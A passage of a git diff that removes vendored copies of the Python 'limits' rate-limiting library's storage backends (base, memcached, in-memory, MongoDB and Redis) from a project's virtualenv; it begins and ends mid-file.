NotImplementedError - - @abstractmethod - def get_moving_window(self, key: str, limit: int, expiry: int) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param key: rate limit key - :param expiry: expiry of entry - :return: (start of window, number of acquired entries) - """ - raise NotImplementedError - - -class SlidingWindowCounterSupport(ABC): - """ - Abstract base class for storages that support - the :ref:`strategies:sliding window counter` strategy. - """ - - def __init_subclass__(cls, **kwargs: Any) -> None: # type: ignore[explicit-any] - for method in { - "acquire_sliding_window_entry", - "get_sliding_window", - "clear_sliding_window", - }: - setattr( - cls, - method, - _wrap_errors(getattr(cls, method)), - ) - super().__init_subclass__(**kwargs) - - @abstractmethod - def acquire_sliding_window_entry( - self, key: str, limit: int, expiry: int, amount: int = 1 - ) -> bool: - """ - Acquire an entry if the weighted count of the current and previous - windows is less than or equal to the limit - - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - raise NotImplementedError - - @abstractmethod - def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - """ - Return the previous and current window information. - - :param key: the rate limit key - :param expiry: the rate limit expiry, needed to compute the key in some implementations - :return: a tuple of (int, float, int, float) with the following information: - - previous window counter - - previous window TTL - - current window counter - - current window TTL - """ - raise NotImplementedError - - @abstractmethod - def clear_sliding_window(self, key: str, expiry: int) -> None: - """ - Resets the rate limit key(s) for the sliding window - - :param key: the key to clear rate limits for - :param expiry: the rate limit expiry, needed to compute the key in some implemenations - """ - ... - - -class TimestampedSlidingWindow: - """Helper class for storage that support the sliding window counter, with timestamp based keys.""" - - @classmethod - def sliding_window_keys(cls, key: str, expiry: int, at: float) -> tuple[str, str]: - """ - returns the previous and the current window's keys. - - :param key: the key to get the window's keys from - :param expiry: the expiry of the limit item, in seconds - :param at: the timestamp to get the keys from. Default to now, ie ``time.time()`` - - Returns a tuple with the previous and the current key: (previous, current). - - Example: - - key = "mykey" - - expiry = 60 - - at = 1738576292.6631825 - - The return value will be the tuple ``("mykey/28976271", "mykey/28976270")``. - """ - return f"{key}/{int((at - expiry) / expiry)}", f"{key}/{int(at / expiry)}" diff --git a/venv/Lib/site-packages/limits/storage/memcached.py b/venv/Lib/site-packages/limits/storage/memcached.py deleted file mode 100644 index 78c4e416a6746ef5e957fe638515799abc026aa4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/storage/memcached.py +++ /dev/null @@ -1,298 +0,0 @@ -from __future__ import annotations - -import inspect -import threading -import time -from collections.abc import Iterable -from math import ceil, floor -from types import ModuleType - -from limits._storage_scheme import parse_storage_uri -from limits.errors import ConfigurationError -from limits.storage.base import ( - SlidingWindowCounterSupport, - Storage, - TimestampedSlidingWindow, -) -from limits.typing import ( - Any, - Callable, - MemcachedClientP, - P, - R, - cast, -) -from limits.util import get_dependency - - -class MemcachedStorage(Storage, SlidingWindowCounterSupport, TimestampedSlidingWindow): - """ - Rate limit storage with memcached as backend. - - Depends on :pypi:`pymemcache`. - """ - - STORAGE_SCHEME = ["memcached"] - """The storage scheme for memcached""" - DEPENDENCIES = ["pymemcache"] - - def __init__( - self, - uri: str, - wrap_exceptions: bool = False, - **options: str | Callable[[], MemcachedClientP], - ) -> None: - """ - :param uri: memcached location of the form - ``memcached://host:port,host:port``, - ``memcached:///var/tmp/path/to/sock`` - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param options: all remaining keyword arguments are passed - directly to the constructor of :class:`pymemcache.client.base.PooledClient` - or :class:`pymemcache.client.hash.HashClient` (if there are more than - one hosts specified) - :raise ConfigurationError: when :pypi:`pymemcache` is not available - """ - storage_uri_options = parse_storage_uri(uri) - self.hosts: list[tuple[str, int]] | list[str] - if storage_uri_options.path: - self.hosts = [storage_uri_options.path] - else: - self.hosts = storage_uri_options.locations - - self.dependency = self.dependencies["pymemcache"].module - self.library = str(options.pop("library", "pymemcache.client")) - self.cluster_library = str( - options.pop("cluster_library", "pymemcache.client.hash") - ) - self.client_getter = cast( - Callable[[ModuleType, list[tuple[str, int]] | list[str]], MemcachedClientP], - options.pop("client_getter", self.get_client), - ) - self.options = options - - if not get_dependency(self.library): - raise ConfigurationError( - f"memcached prerequisite not available. please install {self.library}" - ) # pragma: no cover - self.local_storage = threading.local() - self.local_storage.storage = None - super().__init__(uri, wrap_exceptions=wrap_exceptions) - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return self.dependency.MemcacheError # type: ignore[no-any-return] - - def get_client( - self, module: ModuleType, hosts: list[tuple[str, int]], **kwargs: str - ) -> MemcachedClientP: - """ - returns a memcached client. - - :param module: the memcached module - :param hosts: list of memcached hosts - """ - - return cast( - MemcachedClientP, - ( - module.HashClient(hosts, **kwargs) - if len(hosts) > 1 - else module.PooledClient(*hosts, **kwargs) - ), - ) - - def call_memcached_func( - self, func: Callable[P, R], *args: P.args, **kwargs: P.kwargs - ) -> R: - if "noreply" in kwargs: - argspec = inspect.getfullargspec(func) - - if not ("noreply" in argspec.args or argspec.varkw): - kwargs.pop("noreply") - - return func(*args, **kwargs) - - @property - def storage(self) -> MemcachedClientP: - """ - lazily creates a memcached client instance using a thread local - """ - - if not (hasattr(self.local_storage, "storage") and self.local_storage.storage): - dependency = get_dependency( - self.cluster_library if len(self.hosts) > 1 else self.library - )[0] - - if not dependency: - raise ConfigurationError(f"Unable to import {self.cluster_library}") - self.local_storage.storage = self.client_getter( - dependency, self.hosts, **self.options - ) - - return cast(MemcachedClientP, self.local_storage.storage) - - def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - return int(self.storage.get(key, "0")) - - def get_many(self, keys: Iterable[str]) -> dict[str, Any]: # type:ignore[explicit-any] - """ - Return multiple counters at once - - :param keys: the keys to get the counter values for - - :meta private: - """ - return self.storage.get_many(keys) - - def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - """ - self.storage.delete(key) - - def incr( - self, - key: str, - expiry: float, - amount: int = 1, - set_expiration_key: bool = True, - ) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - window every hit. - :param amount: the number to increment by - :param set_expiration_key: set the expiration key with the expiration time if needed. If set to False, the key will still expire, but memcached cannot provide the expiration time. - """ - if ( - value := self.call_memcached_func( - self.storage.incr, key, amount, noreply=False - ) - ) is not None: - return value - else: - if not self.call_memcached_func( - self.storage.add, key, amount, ceil(expiry), noreply=False - ): - return self.storage.incr(key, amount) or amount - else: - if set_expiration_key: - self.call_memcached_func( - self.storage.set, - self._expiration_key(key), - expiry + time.time(), - expire=ceil(expiry), - noreply=False, - ) - - return amount - - def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - - return float(self.storage.get(self._expiration_key(key)) or time.time()) - - def _expiration_key(self, key: str) -> str: - """ - Return the expiration key for the given counter key. - - Memcached doesn't natively return the expiration time or TTL for a given key, - so we implement the expiration time on a separate key. - """ - return key + "/expires" - - def check(self) -> bool: - """ - Check if storage is healthy by calling the ``get`` command - on the key ``limiter-check`` - """ - try: - self.call_memcached_func(self.storage.get, "limiter-check") - - return True - except: # noqa - return False - - def reset(self) -> int | None: - raise NotImplementedError - - def acquire_sliding_window_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - if amount > limit: - return False - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - previous_count, previous_ttl, current_count, _ = self._get_sliding_window_info( - previous_key, current_key, expiry, now=now - ) - weighted_count = previous_count * previous_ttl / expiry + current_count - if floor(weighted_count) + amount > limit: - return False - else: - # Hit, increase the current counter. - # If the counter doesn't exist yet, set twice the theorical expiry. - # We don't need the expiration key as it is estimated with the timestamps directly. - current_count = self.incr( - current_key, 2 * expiry, amount=amount, set_expiration_key=False - ) - actualised_previous_ttl = min(0, previous_ttl - (time.time() - now)) - weighted_count = ( - previous_count * actualised_previous_ttl / expiry + current_count - ) - if floor(weighted_count) > limit: - # Another hit won the race condition: revert the incrementation and refuse this hit - # Limitation: during high concurrency at the end of the window, - # the counter is shifted and cannot be decremented, so less requests than expected are allowed. - self.call_memcached_func( - self.storage.decr, - current_key, - amount, - noreply=True, - ) - return False - return True - - def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - return self._get_sliding_window_info(previous_key, current_key, expiry, now) - - def clear_sliding_window(self, key: str, expiry: int) -> None: - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - self.clear(previous_key) - self.clear(current_key) - - def _get_sliding_window_info( - self, previous_key: str, current_key: str, expiry: int, now: float - ) -> tuple[int, float, int, float]: - result = self.get_many([previous_key, current_key]) - previous_count, current_count = ( - int(result.get(previous_key, 0)), - int(result.get(current_key, 0)), - ) - - if previous_count == 0: - previous_ttl = float(0) - else: - previous_ttl = (1 - (((now - expiry) / expiry) % 1)) * expiry - current_ttl = (1 - ((now / expiry) % 1)) * expiry + expiry - return previous_count, previous_ttl, current_count, current_ttl diff --git a/venv/Lib/site-packages/limits/storage/memory.py b/venv/Lib/site-packages/limits/storage/memory.py deleted file mode 100644 index f9876e06904bf81a221dae568b105935df407217..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/storage/memory.py +++ /dev/null @@ -1,259 +0,0 @@ -from __future__ import annotations - -import bisect -import threading -import time -from collections import Counter, defaultdict -from math import floor - -import limits.typing -from limits.storage.base import ( - MovingWindowSupport, - SlidingWindowCounterSupport, - Storage, - TimestampedSlidingWindow, -) - - -class Entry: - def __init__(self, expiry: float) -> None: - self.atime = time.time() - self.expiry = self.atime + expiry - - -class MemoryStorage( - Storage, MovingWindowSupport, SlidingWindowCounterSupport, TimestampedSlidingWindow -): - """ - rate limit storage using :class:`collections.Counter` - as an in memory storage for fixed and sliding window strategies, - and a simple list to implement moving window strategy. - - """ - - STORAGE_SCHEME = ["memory"] - - def __init__(self, uri: str | None = None, wrap_exceptions: bool = False, **_: str): - self.storage: limits.typing.Counter[str] = Counter() - self.locks: defaultdict[str, threading.RLock] = defaultdict(threading.RLock) - self.expirations: dict[str, float] = {} - self.events: dict[str, list[Entry]] = {} - self.timer: threading.Timer = threading.Timer(0.01, self.__expire_events) - self.timer.start() - super().__init__(uri, wrap_exceptions=wrap_exceptions, **_) - - def __getstate__(self) -> dict[str, limits.typing.Any]: # type: ignore[explicit-any] - state = self.__dict__.copy() - del state["timer"] - del state["locks"] - return state - - def __setstate__(self, state: dict[str, limits.typing.Any]) -> None: # type: ignore[explicit-any] - self.__dict__.update(state) - self.locks = defaultdict(threading.RLock) - self.timer = threading.Timer(0.01, self.__expire_events) - self.timer.start() - - def __expire_events(self) -> None: - for key in list(self.events.keys()): - with self.locks[key]: - if events := self.events.get(key, []): - oldest = bisect.bisect_left( - events, -time.time(), key=lambda event: -event.expiry - ) - self.events[key] = self.events[key][:oldest] - if not self.events.get(key, None): - self.locks.pop(key, None) - for key in list(self.expirations.keys()): - if self.expirations[key] <= time.time(): - self.storage.pop(key, None) - self.expirations.pop(key, None) - self.locks.pop(key, None) - - def __schedule_expiry(self) -> None: - if not self.timer.is_alive(): - self.timer = threading.Timer(0.01, self.__expire_events) - self.timer.start() - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return ValueError - - def incr(self, key: str, expiry: float, amount: int = 1) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - self.get(key) - self.__schedule_expiry() - with self.locks[key]: - self.storage[key] += amount - if self.storage[key] == amount: - self.expirations[key] = time.time() + expiry - return self.storage.get(key, 0) - - def decr(self, key: str, amount: int = 1) -> int: - """ - decrements the counter for a given rate limit key - - :param key: the key to decrement - :param amount: the number to decrement by - """ - self.get(key) - self.__schedule_expiry() - with self.locks[key]: - self.storage[key] = max(self.storage[key] - amount, 0) - - return self.storage.get(key, 0) - - def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - - if self.expirations.get(key, 0) <= time.time(): - self.storage.pop(key, None) - self.expirations.pop(key, None) - self.locks.pop(key, None) - - return self.storage.get(key, 0) - - def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - """ - self.storage.pop(key, None) - self.expirations.pop(key, None) - self.events.pop(key, None) - self.locks.pop(key, None) - - def acquire_entry(self, key: str, limit: int, expiry: int, amount: int = 1) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - if amount > limit: - return False - - self.__schedule_expiry() - with self.locks[key]: - self.events.setdefault(key, []) - timestamp = time.time() - try: - entry = self.events[key][limit - amount] - except IndexError: - entry = None - - if entry and entry.atime >= timestamp - expiry: - return False - else: - self.events[key][:0] = [Entry(expiry)] * amount - return True - - def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - - return self.expirations.get(key, time.time()) - - def get_moving_window(self, key: str, limit: int, expiry: int) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param key: rate limit key - :param expiry: expiry of entry - :return: (start of window, number of acquired entries) - """ - timestamp = time.time() - if events := self.events.get(key, []): - oldest = bisect.bisect_left( - events, -(timestamp - expiry), key=lambda entry: -entry.atime - ) - return events[oldest - 1].atime, oldest - return timestamp, 0 - - def acquire_sliding_window_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - if amount > limit: - return False - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - ( - previous_count, - previous_ttl, - current_count, - _, - ) = self._get_sliding_window_info(previous_key, current_key, expiry, now) - weighted_count = previous_count * previous_ttl / expiry + current_count - if floor(weighted_count) + amount > limit: - return False - else: - # Hit, increase the current counter. - # If the counter doesn't exist yet, set twice the theorical expiry. - current_count = self.incr(current_key, 2 * expiry, amount=amount) - weighted_count = previous_count * previous_ttl / expiry + current_count - if floor(weighted_count) > limit: - # Another hit won the race condition: revert the incrementation and refuse this hit - # Limitation: during high concurrency at the end of the window, - # the counter is shifted and cannot be decremented, so less requests than expected are allowed. - self.decr(current_key, amount) - return False - return True - - def _get_sliding_window_info( - self, - previous_key: str, - current_key: str, - expiry: int, - now: float, - ) -> tuple[int, float, int, float]: - previous_count = self.get(previous_key) - current_count = self.get(current_key) - if previous_count == 0: - previous_ttl = float(0) - else: - previous_ttl = (1 - (((now - expiry) / expiry) % 1)) * expiry - current_ttl = (1 - ((now / expiry) % 1)) * expiry + expiry - return previous_count, previous_ttl, current_count, current_ttl - - def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - return self._get_sliding_window_info(previous_key, current_key, expiry, now) - - def clear_sliding_window(self, key: str, expiry: int) -> None: - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - self.clear(previous_key) - self.clear(current_key) - - def check(self) -> bool: - """ - check if storage is healthy - """ - - return True - - def reset(self) -> int | None: - num_items = max(len(self.storage), len(self.events)) - self.storage.clear() - self.expirations.clear() - self.events.clear() - self.locks.clear() - return num_items diff --git a/venv/Lib/site-packages/limits/storage/mongodb.py b/venv/Lib/site-packages/limits/storage/mongodb.py deleted file mode 100644 index c784c45d8d24e97df4c2b12ea5c8f90ddf861c78..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/storage/mongodb.py +++ /dev/null @@ -1,492 +0,0 @@ -from __future__ import annotations - -import datetime -import time -from abc import ABC, abstractmethod - -from deprecated.sphinx import versionadded, versionchanged - -from limits.typing import ( - MongoClient, - MongoCollection, - MongoDatabase, - cast, -) - -from ..util import get_dependency -from .base import MovingWindowSupport, SlidingWindowCounterSupport, Storage - - -class MongoDBStorageBase( - Storage, MovingWindowSupport, SlidingWindowCounterSupport, ABC -): - """ - Rate limit storage with MongoDB as backend. - - Depends on :pypi:`pymongo`. - """ - - DEPENDENCIES = ["pymongo"] - - def __init__( - self, - uri: str, - database_name: str = "limits", - counter_collection_name: str = "counters", - window_collection_name: str = "windows", - wrap_exceptions: bool = False, - **options: int | str | bool, - ) -> None: - """ - :param uri: uri of the form ``mongodb://[user:password]@host:port?...``, - This uri is passed directly to :class:`~pymongo.mongo_client.MongoClient` - :param database_name: The database to use for storing the rate limit - collections. - :param counter_collection_name: The collection name to use for individual counters - used in fixed window strategies - :param window_collection_name: The collection name to use for sliding & moving window - storage - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param options: all remaining keyword arguments are passed to the - constructor of :class:`~pymongo.mongo_client.MongoClient` - :raise ConfigurationError: when the :pypi:`pymongo` library is not available - """ - - super().__init__(uri, wrap_exceptions=wrap_exceptions, **options) - self._database_name = database_name - self._collection_mapping = { - "counters": counter_collection_name, - "windows": window_collection_name, - } - self.lib = self.dependencies["pymongo"].module - self.lib_errors, _ = get_dependency("pymongo.errors") - self._storage_uri = uri - self._storage_options = options - self._storage: MongoClient | None = None - - @property - def storage(self) -> MongoClient: - if self._storage is None: - self._storage = self._init_mongo_client( - self._storage_uri, **self._storage_options - ) - self.__initialize_database() - return self._storage - - @property - def _database(self) -> MongoDatabase: - return self.storage[self._database_name] - - @property - def counters(self) -> MongoCollection: - return self._database[self._collection_mapping["counters"]] - - @property - def windows(self) -> MongoCollection: - return self._database[self._collection_mapping["windows"]] - - @abstractmethod - def _init_mongo_client( - self, uri: str | None, **options: int | str | bool - ) -> MongoClient: - raise NotImplementedError() - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return self.lib_errors.PyMongoError # type: ignore - - def __initialize_database(self) -> None: - self.counters.create_index("expireAt", expireAfterSeconds=0) - self.windows.create_index("expireAt", expireAfterSeconds=0) - - def reset(self) -> int | None: - """ - Delete all rate limit keys in the rate limit collections (counters, windows) - """ - num_keys = self.counters.count_documents({}) + self.windows.count_documents({}) - self.counters.drop() - self.windows.drop() - - return int(num_keys) - - def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - """ - self.counters.find_one_and_delete({"_id": key}) - self.windows.find_one_and_delete({"_id": key}) - - def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - counter = self.counters.find_one({"_id": key}) - return ( - (counter["expireAt"] if counter else datetime.datetime.now()) - .replace(tzinfo=datetime.timezone.utc) - .timestamp() - ) - - def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - counter = self.counters.find_one( - { - "_id": key, - "expireAt": {"$gte": datetime.datetime.now(datetime.timezone.utc)}, - }, - projection=["count"], - ) - - return counter and counter["count"] or 0 - - def incr(self, key: str, expiry: int, amount: int = 1) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - expiration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta( - seconds=expiry - ) - - if response := self.counters.find_one_and_update( - {"_id": key}, - [ - { - "$set": { - "count": { - "$cond": { - "if": {"$lt": ["$expireAt", "$$NOW"]}, - "then": amount, - "else": {"$add": ["$count", amount]}, - } - }, - "expireAt": { - "$cond": { - "if": {"$lt": ["$expireAt", "$$NOW"]}, - "then": expiration, - "else": "$expireAt", - } - }, - } - }, - ], - upsert=True, - projection=["count"], - return_document=self.lib.ReturnDocument.AFTER, - ): - return int(response["count"]) - return 0 - - def check(self) -> bool: - """ - Check if storage is healthy by calling :meth:`pymongo.mongo_client.MongoClient.server_info` - """ - try: - self.storage.server_info() - - return True - except: # noqa: E722 - return False - - def get_moving_window(self, key: str, limit: int, expiry: int) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param key: rate limit key - :param expiry: expiry of entry - :return: (start of window, number of acquired entries) - """ - timestamp = time.time() - if result := list( - self.windows.aggregate( - [ - {"$match": {"_id": key}}, - { - "$project": { - "filteredEntries": { - "$filter": { - "input": "$entries", - "as": "entry", - "cond": {"$gte": ["$$entry", timestamp - expiry]}, - } - } - } - }, - { - "$project": { - "min": {"$min": "$filteredEntries"}, - "count": {"$size": "$filteredEntries"}, - } - }, - ] - ) - ): - return result[0]["min"], result[0]["count"] - return timestamp, 0 - - def acquire_entry(self, key: str, limit: int, expiry: int, amount: int = 1) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - if amount > limit: - return False - - timestamp = time.time() - try: - updates: dict[ - str, - dict[str, datetime.datetime | dict[str, list[float] | int]], - ] = { - "$push": { - "entries": { - "$each": [timestamp] * amount, - "$position": 0, - "$slice": limit, - } - }, - "$set": { - "expireAt": ( - datetime.datetime.now(datetime.timezone.utc) - + datetime.timedelta(seconds=expiry) - ) - }, - } - - self.windows.update_one( - { - "_id": key, - f"entries.{limit - amount}": {"$not": {"$gte": timestamp - expiry}}, - }, - updates, - upsert=True, - ) - - return True - except self.lib.errors.DuplicateKeyError: - return False - - def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - expiry_ms = expiry * 1000 - if result := self.windows.find_one_and_update( - {"_id": key}, - [ - { - "$set": { - "previousCount": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": {"$ifNull": ["$currentCount", 0]}, - "else": {"$ifNull": ["$previousCount", 0]}, - } - }, - "currentCount": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": 0, - "else": {"$ifNull": ["$currentCount", 0]}, - } - }, - "expireAt": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": { - "$add": ["$expireAt", expiry_ms], - }, - "else": "$expireAt", - } - }, - } - } - ], - return_document=self.lib.ReturnDocument.AFTER, - projection=["currentCount", "previousCount", "expireAt"], - ): - expires_at = ( - (result["expireAt"].replace(tzinfo=datetime.timezone.utc).timestamp()) - if result.get("expireAt") - else time.time() - ) - current_ttl = max(0, expires_at - time.time()) - prev_ttl = max(0, current_ttl - expiry if result["previousCount"] else 0) - - return ( - result["previousCount"], - prev_ttl, - result["currentCount"], - current_ttl, - ) - return 0, 0.0, 0, 0.0 - - def acquire_sliding_window_entry( - self, key: str, limit: int, expiry: int, amount: int = 1 - ) -> bool: - expiry_ms = expiry * 1000 - result = self.windows.find_one_and_update( - {"_id": key}, - [ - { - "$set": { - "previousCount": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": {"$ifNull": ["$currentCount", 0]}, - "else": {"$ifNull": ["$previousCount", 0]}, - } - }, - } - }, - { - "$set": { - "currentCount": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": 0, - "else": {"$ifNull": ["$currentCount", 0]}, - } - }, - "expireAt": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": { - "$cond": { - "if": {"$gt": ["$expireAt", 0]}, - "then": {"$add": ["$expireAt", expiry_ms]}, - "else": {"$add": ["$$NOW", 2 * expiry_ms]}, - } - }, - "else": "$expireAt", - } - }, - } - }, - { - "$set": { - "curWeightedCount": { - "$floor": { - "$add": [ - { - "$multiply": [ - "$previousCount", - { - "$divide": [ - { - "$max": [ - 0, - { - "$subtract": [ - "$expireAt", - { - "$add": [ - "$$NOW", - expiry_ms, - ] - }, - ] - }, - ] - }, - expiry_ms, - ] - }, - ] - }, - "$currentCount", - ] - } - } - } - }, - { - "$set": { - "currentCount": { - "$cond": { - "if": { - "$lte": [ - {"$add": ["$curWeightedCount", amount]}, - limit, - ] - }, - "then": {"$add": ["$currentCount", amount]}, - "else": "$currentCount", - } - } - } - }, - { - "$set": { - "_acquired": { - "$lte": [{"$add": ["$curWeightedCount", amount]}, limit] - } - } - }, - {"$unset": ["curWeightedCount"]}, - ], - return_document=self.lib.ReturnDocument.AFTER, - upsert=True, - ) - return cast(bool, result["_acquired"] if result else False) - - def clear_sliding_window(self, key: str, expiry: int) -> None: - return self.clear(key) - - def __del__(self) -> None: - if self.storage: - self.storage.close() - - -@versionadded(version="2.1") -@versionchanged( - version="3.14.0", - reason="Added option to select custom collection names for windows & counters", -) -class MongoDBStorage(MongoDBStorageBase): - STORAGE_SCHEME = ["mongodb", "mongodb+srv"] - - def _init_mongo_client( - self, uri: str | None, **options: int | str | bool - ) -> MongoClient: - return cast(MongoClient, self.lib.MongoClient(uri, **options)) diff --git a/venv/Lib/site-packages/limits/storage/redis.py b/venv/Lib/site-packages/limits/storage/redis.py deleted file mode 100644 index fa0179bad5307d0ef768976fc22aeb378b1be31f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/storage/redis.py +++ /dev/null @@ -1,317 +0,0 @@ -from __future__ import annotations - -import time -from typing import TYPE_CHECKING, cast - -from deprecated.sphinx import versionchanged -from packaging.version import Version - -from limits.typing import Literal, RedisClient - -from ..util import get_package_data -from .base import MovingWindowSupport, SlidingWindowCounterSupport, Storage - -if TYPE_CHECKING: - import redis - - -@versionchanged( - version="4.3", - reason=( - "Added support for using the redis client from :pypi:`valkey`" - " if :paramref:`uri` has the ``valkey://`` schema" - ), -) -class RedisStorage(Storage, MovingWindowSupport, SlidingWindowCounterSupport): - """ - Rate limit storage with redis as backend. - - Depends on :pypi:`redis` (or :pypi:`valkey` if :paramref:`uri` starts with - ``valkey://``) - """ - - STORAGE_SCHEME = [ - "redis", - "rediss", - "redis+unix", - "valkey", - "valkeys", - "valkey+unix", - ] - """The storage scheme for redis""" - - DEPENDENCIES = {"redis": Version("3.0"), "valkey": Version("6.0")} - - RES_DIR = "resources/redis/lua_scripts" - - SCRIPT_MOVING_WINDOW = get_package_data(f"{RES_DIR}/moving_window.lua") - SCRIPT_ACQUIRE_MOVING_WINDOW = get_package_data( - f"{RES_DIR}/acquire_moving_window.lua" - ) - SCRIPT_CLEAR_KEYS = get_package_data(f"{RES_DIR}/clear_keys.lua") - SCRIPT_INCR_EXPIRE = get_package_data(f"{RES_DIR}/incr_expire.lua") - - SCRIPT_SLIDING_WINDOW = get_package_data(f"{RES_DIR}/sliding_window.lua") - SCRIPT_ACQUIRE_SLIDING_WINDOW = get_package_data( - f"{RES_DIR}/acquire_sliding_window.lua" - ) - - lua_moving_window: redis.commands.core.Script - lua_acquire_moving_window: redis.commands.core.Script - lua_sliding_window: redis.commands.core.Script - lua_acquire_sliding_window: redis.commands.core.Script - - PREFIX = "LIMITS" - target_server: Literal["redis", "valkey"] - - def __init__( - self, - uri: str, - connection_pool: redis.connection.ConnectionPool | None = None, - key_prefix: str = PREFIX, - wrap_exceptions: bool = False, - **options: float | str | bool, - ) -> None: - """ - :param uri: uri of the form ``redis://[:password]@host:port``, - ``redis://[:password]@host:port/db``, - ``rediss://[:password]@host:port``, ``redis+unix:///path/to/sock`` etc. - This uri is passed directly to :func:`redis.from_url` except for the - case of ``redis+unix://`` where it is replaced with ``unix://``. - - If the uri scheme is ``valkey`` the implementation used will be from - :pypi:`valkey`. - :param connection_pool: if provided, the redis client is initialized with - the connection pool and any other params passed as :paramref:`options` - :param key_prefix: the prefix for each key created in redis - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param options: all remaining keyword arguments are passed - directly to the constructor of :class:`redis.Redis` - :raise ConfigurationError: when the :pypi:`redis` library is not available - """ - super().__init__(uri, wrap_exceptions=wrap_exceptions, **options) - self.key_prefix = key_prefix - self.target_server = "valkey" if uri.startswith("valkey") else "redis" - self.dependency = self.dependencies[self.target_server].module - - uri = uri.replace(f"{self.target_server}+unix", "unix") - - if not connection_pool: - self.storage = self.dependency.from_url(uri, **options) - else: - if self.target_server == "redis": - self.storage = self.dependency.Redis( - connection_pool=connection_pool, **options - ) - else: - self.storage = self.dependency.Valkey( - connection_pool=connection_pool, **options - ) - self.initialize_storage(uri) - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return ( # type: ignore[no-any-return] - self.dependency.RedisError - if self.target_server == "redis" - else self.dependency.ValkeyError - ) - - def initialize_storage(self, _uri: str) -> None: - self.lua_moving_window = self.get_connection().register_script( - self.SCRIPT_MOVING_WINDOW - ) - self.lua_acquire_moving_window = self.get_connection().register_script( - self.SCRIPT_ACQUIRE_MOVING_WINDOW - ) - self.lua_clear_keys = self.get_connection().register_script( - self.SCRIPT_CLEAR_KEYS - ) - self.lua_incr_expire = self.get_connection().register_script( - self.SCRIPT_INCR_EXPIRE - ) - self.lua_sliding_window = self.get_connection().register_script( - self.SCRIPT_SLIDING_WINDOW - ) - self.lua_acquire_sliding_window = self.get_connection().register_script( - self.SCRIPT_ACQUIRE_SLIDING_WINDOW - ) - - def get_connection(self, readonly: bool = False) -> RedisClient: - return cast(RedisClient, self.storage) - - def _current_window_key(self, key: str) -> str: - """ - Return the current window's storage key (Sliding window strategy) - - Contrary to other strategies that have one key per rate limit item, - this strategy has two keys per rate limit item than must be on the same machine. - To keep the current key and the previous key on the same Redis cluster node, - curly braces are added. - - Eg: "{constructed_key}" - """ - return f"{{{key}}}" - - def _previous_window_key(self, key: str) -> str: - """ - Return the previous window's storage key (Sliding window strategy). - - Curvy braces are added on the common pattern with the current window's key, - so the current and the previous key are stored on the same Redis cluster node. - - Eg: "{constructed_key}/-1" - """ - return f"{self._current_window_key(key)}/-1" - - def prefixed_key(self, key: 